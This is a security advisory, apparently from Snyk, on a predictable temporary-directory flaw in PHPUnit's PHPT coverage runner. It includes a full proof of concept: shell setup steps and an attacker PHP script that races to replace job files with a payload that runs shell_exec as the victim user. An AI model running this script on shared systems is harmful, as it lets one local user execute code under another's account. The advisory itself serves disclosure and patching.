Creation of Temporary File in Directory with Insecure Permissions Affecting phpunit/phpunit package, versions >=13.4.0, <13.4.4


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.11% (2nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-PHPUNITPHPUNIT-22148462
  • published3 Nov 2026
  • disclosed29 Oct 2026
  • creditPatrick Schmitt

Introduced: 29 Oct 2026

NewCVE-2026-119193  (opens in a new tab)
CWE-379  (opens in a new tab)

How to fix?

Upgrade phpunit/phpunit to version 13.4.4 or higher.

Overview

Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions via the PHPT test runner's coverage file handling in src/Runner/Phpt/TestCase.php, where temporary files used to collect code coverage are created in a predictable directory path (/tmp/phpunit-phpt) inside a world-writable shared temporary directory. An attacker who pre-creates that directory can replace the generated job files with malicious code, which is then executed as the victim user when the PHPT test runs with a coverage driver.

Note: This is only exploitable on Linux and other Unix-like systems with a shared /tmp where per-user temporary directory isolation (e.g. systemd PrivateTmp, pam_namespace, or a per-user TMPDIR) is not in use. macOS and Windows use per-user temporary directories by default and are not affected in their default configuration. Additionally, once PHPUnit has created the directory, other users cannot write to it unless the developer's umask permits it.

PoC

The following steps reproduce the issue on a Linux system with two users, alice (the developer) and mallory (the attacker), that share /tmp. They require PHP 8.4.1 or later with the posix extension and a code coverage driver (PCOV or Xdebug) as well as Composer.

  1. As root, create the two users and make sure that /tmp has its default permissions (1777) and that /tmp/phpunit-phpt does not exist:

    useradd -m alice
    useradd -m mallory
    ls -ld /tmp
    rm -rf /tmp/phpunit-phpt
    
  2. As alice, create a project with a PHPT test and a source file to collect code coverage for:

    mkdir -p ~/project/src ~/project/tests
    cd ~/project
    composer require --dev phpunit/phpunit:13.4.3
    

    ~/project/src/Greeter.php:

    <?php declare(strict_types=1);
    final class Greeter
    {
        public function greet(): string
        {
            return 'ok';
        }
    }
    

    ~/project/tests/greeter.phpt:

    --TEST--
    PHPT test that is run with code coverage
    --FILE--
    <?php declare(strict_types=1);
    require __DIR__ . '/../src/Greeter.php';
    print (new Greeter)->greet();
    --EXPECT--
    ok
    

    ~/project/phpunit.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd">
        <source>
            <include>
                <directory>src</directory>
            </include>
        </source>
    </phpunit>
    
  3. As mallory, save the following script as ~/attack.php and run it using php ~/attack.php. It creates /tmp/phpunit-phpt, waits for job files to appear in it, and replaces each of them with code that records the identity of the user that executes it and then executes the original job file:

    <?php declare(strict_types=1);
    $directory = '/tmp/phpunit-phpt';
    
    

    if (!@mkdir($directory)) { exit($directory . ' already exists' . PHP_EOL); }

    chmod($directory, 0777);

    $payload = '<?php file_put_contents(DIR . "/proof.txt", shell_exec("id"), FILE_APPEND); require FILE . ".orig";' . PHP_EOL; $replaced = [];

    while (true) { foreach (glob($directory . '/phpunit_phpt_*.php') as $job) { if (isset($replaced[$job])) { continue; }

        $replaced[$job] = true;
    
        file_put_contents($directory . &#39;/payload.tmp&#39;, $payload);
        rename($job, $job . &#39;.orig&#39;);
        rename($directory . &#39;/payload.tmp&#39;, $job);
    
        print &#39;Replaced &#39; . $job . PHP_EOL;
    }
    
    usleep(1000);
    

    }

  4. As alice, run the PHPT test with code coverage (when Xdebug is used, prefix the command with XDEBUG_MODE=coverage):

    cd ~/project
    vendor/bin/phpunit --coverage-text tests/greeter.phpt
    

    PHPUnit reports OK (1 test, 1 assertion), and the code coverage report shows that Greeter::greet() is covered. Nothing in the output indicates that the code of the test was replaced.

  5. Check which user executed the code that mallory put in place:

    cat /tmp/phpunit-phpt/proof.txt
    

    The file is owned by alice and contains the output of id for alice, for instance:

    uid=1000(alice) gid=1000(alice) groups=1000(alice)
    

Note: The PoC requires a Linux system with two users sharing /tmp, PHP 8.4.1 or later with the posix extension, and a code coverage driver (PCOV or Xdebug).

CVSS Base Scores

version 4.0
version 3.1